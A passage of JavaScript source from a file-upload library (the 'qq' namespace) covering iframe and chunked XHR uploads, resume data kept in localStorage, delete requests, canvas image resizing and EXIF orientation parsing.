                    registerPostMessageCallback(iframe, callback);
                } else {
                    detachLoadEvents[iframe.id] = qq(iframe).attach("load", function() {
                        log("Received response for " + iframe.id);
                        if (!iframe.parentNode) {
                            return;
                        }
                        try {
                            if (iframe.contentDocument && iframe.contentDocument.body && iframe.contentDocument.body.innerHTML == "false") {
                                return;
                            }
                        } catch (error) {
                            log("Error when attempting to access iframe during handling of upload response (" + error.message + ")", "error");
                            responseDescriptor = {
                                success: false
                            };
                        }
                        callback(responseDescriptor);
                    });
                }
            },
            _createIframe: function(id) {
                var iframeName = handler._getIframeName(id);
                return initIframeForUpload(iframeName);
            },
            _detachLoadEvent: function(id) {
                if (detachLoadEvents[id] !== undefined) {
                    detachLoadEvents[id]();
                    delete detachLoadEvents[id];
                }
            },
            _getIframeName: function(fileId) {
                return fileId + "_" + formHandlerInstanceId;
            },
            _initFormForUpload: function(spec) {
                var method = spec.method, endpoint = spec.endpoint, params = spec.params, paramsInBody = spec.paramsInBody, targetName = spec.targetName, form = qq.toElement("<form method='" + method + "' enctype='multipart/form-data'></form>"), url = endpoint;
                if (paramsInBody) {
                    qq.obj2Inputs(params, form);
                } else {
                    url = qq.obj2url(params, endpoint);
                }
                form.setAttribute("action", url);
                form.setAttribute("target", targetName);
                form.style.display = "none";
                document.body.appendChild(form);
                return form;
            },
            _parseJsonResponse: function(innerHtmlOrMessage) {
                var response = {};
                try {
                    response = qq.parseJson(innerHtmlOrMessage);
                } catch (error) {
                    log("Error when attempting to parse iframe upload response (" + error.message + ")", "error");
                }
                return response;
            }
        });
    };
    qq.XhrUploadHandler = function(spec) {
        "use strict";
        var handler = this, namespace = spec.options.namespace, proxy = spec.proxy, chunking = spec.options.chunking, resume = spec.options.resume, chunkFiles = chunking && spec.options.chunking.enabled && qq.supportedFeatures.chunking, resumeEnabled = resume && spec.options.resume.enabled && chunkFiles && qq.supportedFeatures.resume, getName = proxy.getName, getSize = proxy.getSize, getUuid = proxy.getUuid, getEndpoint = proxy.getEndpoint, getDataByUuid = proxy.getDataByUuid, onUuidChanged = proxy.onUuidChanged, onProgress = proxy.onProgress, log = proxy.log;
        function abort(id) {
            qq.each(handler._getXhrs(id), function(xhrId, xhr) {
                var ajaxRequester = handler._getAjaxRequester(id, xhrId);
                xhr.onreadystatechange = null;
                xhr.upload.onprogress = null;
                xhr.abort();
                ajaxRequester && ajaxRequester.canceled && ajaxRequester.canceled(id);
            });
        }
        qq.extend(this, new qq.UploadHandler(spec));
        qq.override(this, function(super_) {
            return {
                add: function(id, blobOrProxy) {
                    if (qq.isFile(blobOrProxy) || qq.isBlob(blobOrProxy)) {
                        super_.add(id, {
                            file: blobOrProxy
                        });
                    } else if (blobOrProxy instanceof qq.BlobProxy) {
                        super_.add(id, {
                            proxy: blobOrProxy
                        });
                    } else {
                        throw new Error("Passed obj is not a File, Blob, or proxy");
                    }
                    handler._initTempState(id);
                    resumeEnabled && handler._maybePrepareForResume(id);
                },
                expunge: function(id) {
                    abort(id);
                    handler._maybeDeletePersistedChunkData(id);
                    handler._clearXhrs(id);
                    super_.expunge(id);
                }
            };
        });
        qq.extend(this, {
            clearCachedChunk: function(id, chunkIdx) {
                delete handler._getFileState(id).temp.cachedChunks[chunkIdx];
            },
            clearXhr: function(id, chunkIdx) {
                var tempState = handler._getFileState(id).temp;
                if (tempState.xhrs) {
                    delete tempState.xhrs[chunkIdx];
                }
                if (tempState.ajaxRequesters) {
                    delete tempState.ajaxRequesters[chunkIdx];
                }
            },
            finalizeChunks: function(id, responseParser) {
                var lastChunkIdx = handler._getTotalChunks(id) - 1, xhr = handler._getXhr(id, lastChunkIdx);
                if (responseParser) {
                    return new qq.Promise().success(responseParser(xhr), xhr);
                }
                return new qq.Promise().success({}, xhr);
            },
            getFile: function(id) {
                return handler.isValid(id) && handler._getFileState(id).file;
            },
            getProxy: function(id) {
                return handler.isValid(id) && handler._getFileState(id).proxy;
            },
            getResumableFilesData: function() {
                var resumableFilesData = [];
                handler._iterateResumeRecords(function(key, uploadData) {
                    handler.moveInProgressToRemaining(null, uploadData.chunking.inProgress, uploadData.chunking.remaining);
                    var data = {
                        name: uploadData.name,
                        remaining: uploadData.chunking.remaining,
                        size: uploadData.size,
                        uuid: uploadData.uuid
                    };
                    if (uploadData.key) {
                        data.key = uploadData.key;
                    }
                    resumableFilesData.push(data);
                });
                return resumableFilesData;
            },
            isResumable: function(id) {
                return !!chunking && handler.isValid(id) && !handler._getFileState(id).notResumable;
            },
            moveInProgressToRemaining: function(id, optInProgress, optRemaining) {
                var inProgress = optInProgress || handler._getFileState(id).chunking.inProgress, remaining = optRemaining || handler._getFileState(id).chunking.remaining;
                if (inProgress) {
                    log(qq.format("Moving these chunks from in-progress {}, to remaining.", JSON.stringify(inProgress)));
                    inProgress.reverse();
                    qq.each(inProgress, function(idx, chunkIdx) {
                        remaining.unshift(chunkIdx);
                    });
                    inProgress.length = 0;
                }
            },
            pause: function(id) {
                if (handler.isValid(id)) {
                    log(qq.format("Aborting XHR upload for {} '{}' due to pause instruction.", id, getName(id)));
                    handler._getFileState(id).paused = true;
                    abort(id);
                    return true;
                }
            },
            reevaluateChunking: function(id) {
                if (chunking && handler.isValid(id)) {
                    var state = handler._getFileState(id), totalChunks, i;
                    delete state.chunking;
                    state.chunking = {};
                    totalChunks = handler._getTotalChunks(id);
                    if (totalChunks > 1 || chunking.mandatory) {
                        state.chunking.enabled = true;
                        state.chunking.parts = totalChunks;
                        state.chunking.remaining = [];
                        for (i = 0; i < totalChunks; i++) {
                            state.chunking.remaining.push(i);
                        }
                        handler._initTempState(id);
                    } else {
                        state.chunking.enabled = false;
                    }
                }
            },
            updateBlob: function(id, newBlob) {
                if (handler.isValid(id)) {
                    handler._getFileState(id).file = newBlob;
                }
            },
            _clearXhrs: function(id) {
                var tempState = handler._getFileState(id).temp;
                qq.each(tempState.ajaxRequesters, function(chunkId) {
                    delete tempState.ajaxRequesters[chunkId];
                });
                qq.each(tempState.xhrs, function(chunkId) {
                    delete tempState.xhrs[chunkId];
                });
            },
            _createXhr: function(id, optChunkIdx) {
                return handler._registerXhr(id, optChunkIdx, qq.createXhrInstance());
            },
            _getAjaxRequester: function(id, optChunkIdx) {
                var chunkIdx = optChunkIdx == null ? -1 : optChunkIdx;
                return handler._getFileState(id).temp.ajaxRequesters[chunkIdx];
            },
            _getChunkData: function(id, chunkIndex) {
                var chunkSize = chunking.partSize, fileSize = getSize(id), fileOrBlob = handler.getFile(id), startBytes = chunkSize * chunkIndex, endBytes = startBytes + chunkSize >= fileSize ? fileSize : startBytes + chunkSize, totalChunks = handler._getTotalChunks(id), cachedChunks = this._getFileState(id).temp.cachedChunks, blob = cachedChunks[chunkIndex] || qq.sliceBlob(fileOrBlob, startBytes, endBytes);
                cachedChunks[chunkIndex] = blob;
                return {
                    part: chunkIndex,
                    start: startBytes,
                    end: endBytes,
                    count: totalChunks,
                    blob: blob,
                    size: endBytes - startBytes
                };
            },
            _getChunkDataForCallback: function(chunkData) {
                return {
                    partIndex: chunkData.part,
                    startByte: chunkData.start + 1,
                    endByte: chunkData.end,
                    totalParts: chunkData.count
                };
            },
            _getLocalStorageId: function(id) {
                var formatVersion = "5.0", name = getName(id), size = getSize(id), chunkSize = chunking.partSize, endpoint = getEndpoint(id);
                return qq.format("qq{}resume{}-{}-{}-{}-{}", namespace, formatVersion, name, size, chunkSize, endpoint);
            },
            _getMimeType: function(id) {
                return handler.getFile(id).type;
            },
            _getPersistableData: function(id) {
                return handler._getFileState(id).chunking;
            },
            _getTotalChunks: function(id) {
                if (chunking) {
                    var fileSize = getSize(id), chunkSize = chunking.partSize;
                    return Math.ceil(fileSize / chunkSize);
                }
            },
            _getXhr: function(id, optChunkIdx) {
                var chunkIdx = optChunkIdx == null ? -1 : optChunkIdx;
                return handler._getFileState(id).temp.xhrs[chunkIdx];
            },
            _getXhrs: function(id) {
                return handler._getFileState(id).temp.xhrs;
            },
            _iterateResumeRecords: function(callback) {
                if (resumeEnabled) {
                    qq.each(localStorage, function(key, item) {
                        if (key.indexOf(qq.format("qq{}resume", namespace)) === 0) {
                            var uploadData = JSON.parse(item);
                            callback(key, uploadData);
                        }
                    });
                }
            },
            _initTempState: function(id) {
                handler._getFileState(id).temp = {
                    ajaxRequesters: {},
                    chunkProgress: {},
                    xhrs: {},
                    cachedChunks: {}
                };
            },
            _markNotResumable: function(id) {
                handler._getFileState(id).notResumable = true;
            },
            _maybeDeletePersistedChunkData: function(id) {
                var localStorageId;
                if (resumeEnabled && handler.isResumable(id)) {
                    localStorageId = handler._getLocalStorageId(id);
                    if (localStorageId && localStorage.getItem(localStorageId)) {
                        localStorage.removeItem(localStorageId);
                        return true;
                    }
                }
                return false;
            },
            _maybePrepareForResume: function(id) {
                var state = handler._getFileState(id), localStorageId, persistedData;
                if (resumeEnabled && state.key === undefined) {
                    localStorageId = handler._getLocalStorageId(id);
                    persistedData = localStorage.getItem(localStorageId);
                    if (persistedData) {
                        persistedData = JSON.parse(persistedData);
                        if (getDataByUuid(persistedData.uuid)) {
                            handler._markNotResumable(id);
                        } else {
                            log(qq.format("Identified file with ID {} and name of {} as resumable.", id, getName(id)));
                            onUuidChanged(id, persistedData.uuid);
                            state.key = persistedData.key;
                            state.chunking = persistedData.chunking;
                            state.loaded = persistedData.loaded;
                            state.attemptingResume = true;
                            handler.moveInProgressToRemaining(id);
                        }
                    }
                }
            },
            _maybePersistChunkedState: function(id) {
                var state = handler._getFileState(id), localStorageId, persistedData;
                if (resumeEnabled && handler.isResumable(id)) {
                    localStorageId = handler._getLocalStorageId(id);
                    persistedData = {
                        name: getName(id),
                        size: getSize(id),
                        uuid: getUuid(id),
                        key: state.key,
                        chunking: state.chunking,
                        loaded: state.loaded,
                        lastUpdated: Date.now()
                    };
                    try {
                        localStorage.setItem(localStorageId, JSON.stringify(persistedData));
                    } catch (error) {
                        log(qq.format("Unable to save resume data for '{}' due to error: '{}'.", id, error.toString()), "warn");
                    }
                }
            },
            _registerProgressHandler: function(id, chunkIdx, chunkSize) {
                var xhr = handler._getXhr(id, chunkIdx), name = getName(id), progressCalculator = {
                    simple: function(loaded, total) {
                        var fileSize = getSize(id);
                        if (loaded === total) {
                            onProgress(id, name, fileSize, fileSize);
                        } else {
                            onProgress(id, name, loaded >= fileSize ? fileSize - 1 : loaded, fileSize);
                        }
                    },
                    chunked: function(loaded, total) {
                        var chunkProgress = handler._getFileState(id).temp.chunkProgress, totalSuccessfullyLoadedForFile = handler._getFileState(id).loaded, loadedForRequest = loaded, totalForRequest = total, totalFileSize = getSize(id), estActualChunkLoaded = loadedForRequest - (totalForRequest - chunkSize), totalLoadedForFile = totalSuccessfullyLoadedForFile;
                        chunkProgress[chunkIdx] = estActualChunkLoaded;
                        qq.each(chunkProgress, function(chunkIdx, chunkLoaded) {
                            totalLoadedForFile += chunkLoaded;
                        });
                        onProgress(id, name, totalLoadedForFile, totalFileSize);
                    }
                };
                xhr.upload.onprogress = function(e) {
                    if (e.lengthComputable) {
                        var type = chunkSize == null ? "simple" : "chunked";
                        progressCalculator[type](e.loaded, e.total);
                    }
                };
            },
            _registerXhr: function(id, optChunkIdx, xhr, optAjaxRequester) {
                var xhrsId = optChunkIdx == null ? -1 : optChunkIdx, tempState = handler._getFileState(id).temp;
                tempState.xhrs = tempState.xhrs || {};
                tempState.ajaxRequesters = tempState.ajaxRequesters || {};
                tempState.xhrs[xhrsId] = xhr;
                if (optAjaxRequester) {
                    tempState.ajaxRequesters[xhrsId] = optAjaxRequester;
                }
                return xhr;
            },
            _removeExpiredChunkingRecords: function() {
                var expirationDays = resume.recordsExpireIn;
                handler._iterateResumeRecords(function(key, uploadData) {
                    var expirationDate = new Date(uploadData.lastUpdated);
                    expirationDate.setDate(expirationDate.getDate() + expirationDays);
                    if (expirationDate.getTime() <= Date.now()) {
                        log("Removing expired resume record with key " + key);
                        localStorage.removeItem(key);
                    }
                });
            },
            _shouldChunkThisFile: function(id) {
                var state = handler._getFileState(id);
                if (!state.chunking) {
                    handler.reevaluateChunking(id);
                }
                return state.chunking.enabled;
            }
        });
    };
    qq.DeleteFileAjaxRequester = function(o) {
        "use strict";
        var requester, options = {
            method: "DELETE",
            uuidParamName: "qquuid",
            endpointStore: {},
            maxConnections: 3,
            customHeaders: function(id) {
                return {};
            },
            paramsStore: {},
            cors: {
                expected: false,
                sendCredentials: false
            },
            log: function(str, level) {},
            onDelete: function(id) {},
            onDeleteComplete: function(id, xhrOrXdr, isError) {}
        };
        qq.extend(options, o);
        function getMandatedParams() {
            if (options.method.toUpperCase() === "POST") {
                return {
                    _method: "DELETE"
                };
            }
            return {};
        }
        requester = qq.extend(this, new qq.AjaxRequester({
            acceptHeader: "application/json",
            validMethods: [ "POST", "DELETE" ],
            method: options.method,
            endpointStore: options.endpointStore,
            paramsStore: options.paramsStore,
            mandatedParams: getMandatedParams(),
            maxConnections: options.maxConnections,
            customHeaders: function(id) {
                return options.customHeaders.get(id);
            },
            log: options.log,
            onSend: options.onDelete,
            onComplete: options.onDeleteComplete,
            cors: options.cors
        }));
        qq.extend(this, {
            sendDelete: function(id, uuid, additionalMandatedParams) {
                var additionalOptions = additionalMandatedParams || {};
                options.log("Submitting delete file request for " + id);
                if (options.method === "DELETE") {
                    requester.initTransport(id).withPath(uuid).withParams(additionalOptions).send();
                } else {
                    additionalOptions[options.uuidParamName] = uuid;
                    requester.initTransport(id).withParams(additionalOptions).send();
                }
            }
        });
    };
    (function() {
        function detectSubsampling(img) {
            var iw = img.naturalWidth, ih = img.naturalHeight, canvas = document.createElement("canvas"), ctx;
            if (iw * ih > 1024 * 1024) {
                canvas.width = canvas.height = 1;
                ctx = canvas.getContext("2d");
                ctx.drawImage(img, -iw + 1, 0);
                return ctx.getImageData(0, 0, 1, 1).data[3] === 0;
            } else {
                return false;
            }
        }
        function detectVerticalSquash(img, iw, ih) {
            var canvas = document.createElement("canvas"), sy = 0, ey = ih, py = ih, ctx, data, alpha, ratio;
            canvas.width = 1;
            canvas.height = ih;
            ctx = canvas.getContext("2d");
            ctx.drawImage(img, 0, 0);
            data = ctx.getImageData(0, 0, 1, ih).data;
            while (py > sy) {
                alpha = data[(py - 1) * 4 + 3];
                if (alpha === 0) {
                    ey = py;
                } else {
                    sy = py;
                }
                py = ey + sy >> 1;
            }
            ratio = py / ih;
            return ratio === 0 ? 1 : ratio;
        }
        function renderImageToDataURL(img, blob, options, doSquash) {
            var canvas = document.createElement("canvas"), mime = options.mime || "image/jpeg", promise = new qq.Promise();
            renderImageToCanvas(img, blob, canvas, options, doSquash).then(function() {
                promise.success(canvas.toDataURL(mime, options.quality || .8));
            });
            return promise;
        }
        function maybeCalculateDownsampledDimensions(spec) {
            var maxPixels = 5241e3;
            if (!qq.ios()) {
                throw new qq.Error("Downsampled dimensions can only be reliably calculated for iOS!");
            }
            if (spec.origHeight * spec.origWidth > maxPixels) {
                return {
                    newHeight: Math.round(Math.sqrt(maxPixels * (spec.origHeight / spec.origWidth))),
                    newWidth: Math.round(Math.sqrt(maxPixels * (spec.origWidth / spec.origHeight)))
                };
            }
        }
        function renderImageToCanvas(img, blob, canvas, options, doSquash) {
            var iw = img.naturalWidth, ih = img.naturalHeight, width = options.width, height = options.height, ctx = canvas.getContext("2d"), promise = new qq.Promise(), modifiedDimensions;
            ctx.save();
            if (options.resize) {
                return renderImageToCanvasWithCustomResizer({
                    blob: blob,
                    canvas: canvas,
                    image: img,
                    imageHeight: ih,
                    imageWidth: iw,
                    orientation: options.orientation,
                    resize: options.resize,
                    targetHeight: height,
                    targetWidth: width
                });
            }
            if (!qq.supportedFeatures.unlimitedScaledImageSize) {
                modifiedDimensions = maybeCalculateDownsampledDimensions({
                    origWidth: width,
                    origHeight: height
                });
                if (modifiedDimensions) {
                    qq.log(qq.format("Had to reduce dimensions due to device limitations from {}w / {}h to {}w / {}h", width, height, modifiedDimensions.newWidth, modifiedDimensions.newHeight), "warn");
                    width = modifiedDimensions.newWidth;
                    height = modifiedDimensions.newHeight;
                }
            }
            transformCoordinate(canvas, width, height, options.orientation);
            if (qq.ios()) {
                (function() {
                    if (detectSubsampling(img)) {
                        iw /= 2;
                        ih /= 2;
                    }
                    var d = 1024, tmpCanvas = document.createElement("canvas"), vertSquashRatio = doSquash ? detectVerticalSquash(img, iw, ih) : 1, dw = Math.ceil(d * width / iw), dh = Math.ceil(d * height / ih / vertSquashRatio), sy = 0, dy = 0, tmpCtx, sx, dx;
                    tmpCanvas.width = tmpCanvas.height = d;
                    tmpCtx = tmpCanvas.getContext("2d");
                    while (sy < ih) {
                        sx = 0;
                        dx = 0;
                        while (sx < iw) {
                            tmpCtx.clearRect(0, 0, d, d);
                            tmpCtx.drawImage(img, -sx, -sy);
                            ctx.drawImage(tmpCanvas, 0, 0, d, d, dx, dy, dw, dh);
                            sx += d;
                            dx += dw;
                        }
                        sy += d;
                        dy += dh;
                    }
                    ctx.restore();
                    tmpCanvas = tmpCtx = null;
                })();
            } else {
                ctx.drawImage(img, 0, 0, width, height);
            }
            canvas.qqImageRendered && canvas.qqImageRendered();
            promise.success();
            return promise;
        }
        function renderImageToCanvasWithCustomResizer(resizeInfo) {
            var blob = resizeInfo.blob, image = resizeInfo.image, imageHeight = resizeInfo.imageHeight, imageWidth = resizeInfo.imageWidth, orientation = resizeInfo.orientation, promise = new qq.Promise(), resize = resizeInfo.resize, sourceCanvas = document.createElement("canvas"), sourceCanvasContext = sourceCanvas.getContext("2d"), targetCanvas = resizeInfo.canvas, targetHeight = resizeInfo.targetHeight, targetWidth = resizeInfo.targetWidth;
            transformCoordinate(sourceCanvas, imageWidth, imageHeight, orientation);
            targetCanvas.height = targetHeight;
            targetCanvas.width = targetWidth;
            sourceCanvasContext.drawImage(image, 0, 0);
            resize({
                blob: blob,
                height: targetHeight,
                image: image,
                sourceCanvas: sourceCanvas,
                targetCanvas: targetCanvas,
                width: targetWidth
            }).then(function success() {
                targetCanvas.qqImageRendered && targetCanvas.qqImageRendered();
                promise.success();
            }, promise.failure);
            return promise;
        }
        function transformCoordinate(canvas, width, height, orientation) {
            switch (orientation) {
              case 5:
              case 6:
              case 7:
              case 8:
                canvas.width = height;
                canvas.height = width;
                break;

              default:
                canvas.width = width;
                canvas.height = height;
            }
            var ctx = canvas.getContext("2d");
            switch (orientation) {
              case 2:
                ctx.translate(width, 0);
                ctx.scale(-1, 1);
                break;

              case 3:
                ctx.translate(width, height);
                ctx.rotate(Math.PI);
                break;

              case 4:
                ctx.translate(0, height);
                ctx.scale(1, -1);
                break;

              case 5:
                ctx.rotate(.5 * Math.PI);
                ctx.scale(1, -1);
                break;

              case 6:
                ctx.rotate(.5 * Math.PI);
                ctx.translate(0, -height);
                break;

              case 7:
                ctx.rotate(.5 * Math.PI);
                ctx.translate(width, -height);
                ctx.scale(-1, 1);
                break;

              case 8:
                ctx.rotate(-.5 * Math.PI);
                ctx.translate(-width, 0);
                break;

              default:
                break;
            }
        }
        function MegaPixImage(srcImage, errorCallback) {
            var self = this;
            if (window.Blob && srcImage instanceof Blob) {
                (function() {
                    var img = new Image(), URL = window.URL && window.URL.createObjectURL ? window.URL : window.webkitURL && window.webkitURL.createObjectURL ? window.webkitURL : null;
                    if (!URL) {
                        throw Error("No createObjectURL function found to create blob url");
                    }
                    img.src = URL.createObjectURL(srcImage);
                    self.blob = srcImage;
                    srcImage = img;
                })();
            }
            if (!srcImage.naturalWidth && !srcImage.naturalHeight) {
                srcImage.onload = function() {
                    var listeners = self.imageLoadListeners;
                    if (listeners) {
                        self.imageLoadListeners = null;
                        setTimeout(function() {
                            for (var i = 0, len = listeners.length; i < len; i++) {
                                listeners[i]();
                            }
                        }, 0);
                    }
                };
                srcImage.onerror = errorCallback;
                this.imageLoadListeners = [];
            }
            this.srcImage = srcImage;
        }
        MegaPixImage.prototype.render = function(target, options) {
            options = options || {};
            var self = this, imgWidth = this.srcImage.naturalWidth, imgHeight = this.srcImage.naturalHeight, width = options.width, height = options.height, maxWidth = options.maxWidth, maxHeight = options.maxHeight, doSquash = !this.blob || this.blob.type === "image/jpeg", tagName = target.tagName.toLowerCase(), opt;
            if (this.imageLoadListeners) {
                this.imageLoadListeners.push(function() {
                    self.render(target, options);
                });
                return;
            }
            if (width && !height) {
                height = imgHeight * width / imgWidth << 0;
            } else if (height && !width) {
                width = imgWidth * height / imgHeight << 0;
            } else {
                width = imgWidth;
                height = imgHeight;
            }
            if (maxWidth && width > maxWidth) {
                width = maxWidth;
                height = imgHeight * width / imgWidth << 0;
            }
            if (maxHeight && height > maxHeight) {
                height = maxHeight;
                width = imgWidth * height / imgHeight << 0;
            }
            opt = {
                width: width,
                height: height
            }, qq.each(options, function(optionsKey, optionsValue) {
                opt[optionsKey] = optionsValue;
            });
            if (tagName === "img") {
                (function() {
                    var oldTargetSrc = target.src;
                    renderImageToDataURL(self.srcImage, self.blob, opt, doSquash).then(function(dataUri) {
                        target.src = dataUri;
                        oldTargetSrc === target.src && target.onload();
                    });
                })();
            } else if (tagName === "canvas") {
                renderImageToCanvas(this.srcImage, this.blob, target, opt, doSquash);
            }
            if (typeof this.onrender === "function") {
                this.onrender(target);
            }
        };
        qq.MegaPixImage = MegaPixImage;
    })();
    qq.ImageGenerator = function(log) {
        "use strict";
        function isImg(el) {
            return el.tagName.toLowerCase() === "img";
        }
        function isCanvas(el) {
            return el.tagName.toLowerCase() === "canvas";
        }
        function isImgCorsSupported() {
            return new Image().crossOrigin !== undefined;
        }
        function isCanvasSupported() {
            var canvas = document.createElement("canvas");
            return canvas.getContext && canvas.getContext("2d");
        }
        function determineMimeOfFileName(nameWithPath) {
            var pathSegments = nameWithPath.split("/"), name = pathSegments[pathSegments.length - 1].split("?")[0], extension = qq.getExtension(name);
            extension = extension && extension.toLowerCase();
            switch (extension) {
              case "jpeg":
              case "jpg":
                return "image/jpeg";

              case "png":
                return "image/png";

              case "bmp":
                return "image/bmp";

              case "gif":
                return "image/gif";

              case "tiff":
              case "tif":
                return "image/tiff";
            }
        }
        function isCrossOrigin(url) {
            var targetAnchor = document.createElement("a"), targetProtocol, targetHostname, targetPort;
            targetAnchor.href = url;
            targetProtocol = targetAnchor.protocol;
            targetPort = targetAnchor.port;
            targetHostname = targetAnchor.hostname;
            if (targetProtocol.toLowerCase() !== window.location.protocol.toLowerCase()) {
                return true;
            }
            if (targetHostname.toLowerCase() !== window.location.hostname.toLowerCase()) {
                return true;
            }
            if (targetPort !== window.location.port && !qq.ie()) {
                return true;
            }
            return false;
        }
        function registerImgLoadListeners(img, promise) {
            img.onload = function() {
                img.onload = null;
                img.onerror = null;
                promise.success(img);
            };
            img.onerror = function() {
                img.onload = null;
                img.onerror = null;
                log("Problem drawing thumbnail!", "error");
                promise.failure(img, "Problem drawing thumbnail!");
            };
        }
        function registerCanvasDrawImageListener(canvas, promise) {
            canvas.qqImageRendered = function() {
                promise.success(canvas);
            };
        }
        function registerThumbnailRenderedListener(imgOrCanvas, promise) {
            var registered = isImg(imgOrCanvas) || isCanvas(imgOrCanvas);
            if (isImg(imgOrCanvas)) {
                registerImgLoadListeners(imgOrCanvas, promise);
            } else if (isCanvas(imgOrCanvas)) {
                registerCanvasDrawImageListener(imgOrCanvas, promise);
            } else {
                promise.failure(imgOrCanvas);
                log(qq.format("Element container of type {} is not supported!", imgOrCanvas.tagName), "error");
            }
            return registered;
        }
        function draw(fileOrBlob, container, options) {
            var drawPreview = new qq.Promise(), identifier = new qq.Identify(fileOrBlob, log), maxSize = options.maxSize, orient = options.orient == null ? true : options.orient, megapixErrorHandler = function() {
                container.onerror = null;
                container.onload = null;
                log("Could not render preview, file may be too large!", "error");
                drawPreview.failure(container, "Browser cannot render image!");
            };
            identifier.isPreviewable().then(function(mime) {
                var dummyExif = {
                    parse: function() {
                        return new qq.Promise().success();
                    }
                }, exif = orient ? new qq.Exif(fileOrBlob, log) : dummyExif, mpImg = new qq.MegaPixImage(fileOrBlob, megapixErrorHandler);
                if (registerThumbnailRenderedListener(container, drawPreview)) {
                    exif.parse().then(function(exif) {
                        var orientation = exif && exif.Orientation;
                        mpImg.render(container, {
                            maxWidth: maxSize,
                            maxHeight: maxSize,
                            orientation: orientation,
                            mime: mime,
                            resize: options.customResizeFunction
                        });
                    }, function(failureMsg) {
                        log(qq.format("EXIF data could not be parsed ({}).  Assuming orientation = 1.", failureMsg));
                        mpImg.render(container, {
                            maxWidth: maxSize,
                            maxHeight: maxSize,
                            mime: mime,
                            resize: options.customResizeFunction
                        });
                    });
                }
            }, function() {
                log("Not previewable");
                drawPreview.failure(container, "Not previewable");
            });
            return drawPreview;
        }
        function drawOnCanvasOrImgFromUrl(url, canvasOrImg, draw, maxSize, customResizeFunction) {
            var tempImg = new Image(), tempImgRender = new qq.Promise();
            registerThumbnailRenderedListener(tempImg, tempImgRender);
            if (isCrossOrigin(url)) {
                tempImg.crossOrigin = "anonymous";
            }
            tempImg.src = url;
            tempImgRender.then(function rendered() {
                registerThumbnailRenderedListener(canvasOrImg, draw);
                var mpImg = new qq.MegaPixImage(tempImg);
                mpImg.render(canvasOrImg, {
                    maxWidth: maxSize,
                    maxHeight: maxSize,
                    mime: determineMimeOfFileName(url),
                    resize: customResizeFunction
                });
            }, draw.failure);
        }
        function drawOnImgFromUrlWithCssScaling(url, img, draw, maxSize) {
            registerThumbnailRenderedListener(img, draw);
            qq(img).css({
                maxWidth: maxSize + "px",
                maxHeight: maxSize + "px"
            });
            img.src = url;
        }
        function drawFromUrl(url, container, options) {
            var draw = new qq.Promise(), scale = options.scale, maxSize = scale ? options.maxSize : null;
            if (scale && isImg(container)) {
                if (isCanvasSupported()) {
                    if (isCrossOrigin(url) && !isImgCorsSupported()) {
                        drawOnImgFromUrlWithCssScaling(url, container, draw, maxSize);
                    } else {
                        drawOnCanvasOrImgFromUrl(url, container, draw, maxSize);
                    }
                } else {
                    drawOnImgFromUrlWithCssScaling(url, container, draw, maxSize);
                }
            } else if (isCanvas(container)) {
                drawOnCanvasOrImgFromUrl(url, container, draw, maxSize);
            } else if (registerThumbnailRenderedListener(container, draw)) {
                container.src = url;
            }
            return draw;
        }
        qq.extend(this, {
            generate: function(fileBlobOrUrl, container, options) {
                if (qq.isString(fileBlobOrUrl)) {
                    log("Attempting to update thumbnail based on server response.");
                    return drawFromUrl(fileBlobOrUrl, container, options || {});
                } else {
                    log("Attempting to draw client-side image preview.");
                    return draw(fileBlobOrUrl, container, options || {});
                }
            }
        });
        this._testing = {};
        this._testing.isImg = isImg;
        this._testing.isCanvas = isCanvas;
        this._testing.isCrossOrigin = isCrossOrigin;
        this._testing.determineMimeOfFileName = determineMimeOfFileName;
    };
    qq.Exif = function(fileOrBlob, log) {
        "use strict";
        var TAG_IDS = [ 274 ], TAG_INFO = {
            274: {
                name: "Orientation",
                bytes: 2
            }
        };
        function parseLittleEndian(hex) {
            var result = 0, pow = 0;
            while (hex.length > 0) {
                result += parseInt(hex.substring(0, 2), 16) * Math.pow(2, pow);
                hex = hex.substring(2, hex.length);
                pow += 8;
            }
            return result;
        }
        function seekToApp1(offset, promise) {
            var theOffset = offset, thePromise = promise;
            if (theOffset === undefined) {
                theOffset = 2;
                thePromise = new qq.Promise();
            }
            qq.readBlobToHex(fileOrBlob, theOffset, 4).then(function(hex) {
                var match = /^ffe([0-9])/.exec(hex), segmentLength;
                if (match) {
                    if (match[1] !== "1") {
                        segmentLength = parseInt(hex.slice(4, 8), 16);
                        seekToApp1(theOffset + segmentLength + 2, thePromise);
                    } else {
                        thePromise.success(theOffset);
                    }
                } else {
                    thePromise.failure("No EXIF header to be found!");
                }
            });
            return thePromise;
        }
        function getApp1Offset() {
            var promise = new qq.Promise();
            qq.readBlobToHex(fileOrBlob, 0, 6).then(function(hex) {
                if (hex.indexOf("ffd8") !== 0) {
                    promise.failure("Not a valid JPEG!");
                } else {
                    seekToApp1().then(function(offset) {
                        promise.success(offset);
                    }, function(error) {
                        promise.failure(error);
                    });
                }
            });
            return promise;
        }
        function isLittleEndian(app1Start) {
            var promise = new qq.Promise();
            qq.readBlobToHex(fileOrBlob, app1Start + 10, 2).then(function(hex) {
                promise.success(hex === "4949");
            });
            return promise;
        }
        function getDirEntryCount(app1Start, littleEndian) {
            var promise = new qq.Promise();
            qq.readBlobToHex(fileOrBlob, app1Start + 18, 2).then(function(hex) {
                if (littleEndian) {
                    return promise.success(parseLittleEndian(hex));
                } else {
                    promise.success(parseInt(hex, 16));
                }
            });
            return promise;
        }
        function getIfd(app1Start, dirEntries) {
            var offset = app1Start + 20, bytes = dirEntries * 12;
            return qq.readBlobToHex(fileOrBlob, offset, bytes);
        }
        function getDirEntries(ifdHex) {
            var entries = [], offset = 0;
            while (offset + 24 <= ifdHex.length) {
                entries.push(ifdHex.slice(offset, offset + 24));
                offset += 24;
            }
            return entries;
        }
        function getTagValues(littleEndian, dirEntries) {
            var TAG_VAL_OFFSET = 16, tagsToFind = qq.extend([], TAG_IDS), vals = {};
            qq.each(dirEntries, function(idx, entry) {
                var idHex = entry.slice(0, 4), id = littleEndian ? parseLittleEndian(idHex) : parseInt(idHex, 16), tagsToFindIdx = tagsToFind.indexOf(id), tagValHex, tagName, tagValLength;
                if (tagsToFindIdx >= 0) {
                    tagName = TAG_INFO[id].name;
                    tagValLength = TAG_INFO[id].bytes;
                    tagValHex = entry.slice(TAG_VAL_OFFSET, TAG_VAL_OFFSET + tagValLength * 2);
                    vals[tagName] = littleEndian ? parseLittleEndian(tagValHex) : parseInt(tagValHex, 16);
                    tagsToFind.splice(tagsToFindIdx, 1);
                }
                if (tagsToFind.length === 0) {
                    return false;
                }
            });
            return vals;
        }
        qq.extend(this, {
            parse: function() {
                var parser = new qq.Promise(), onParseFailure = function(message) {
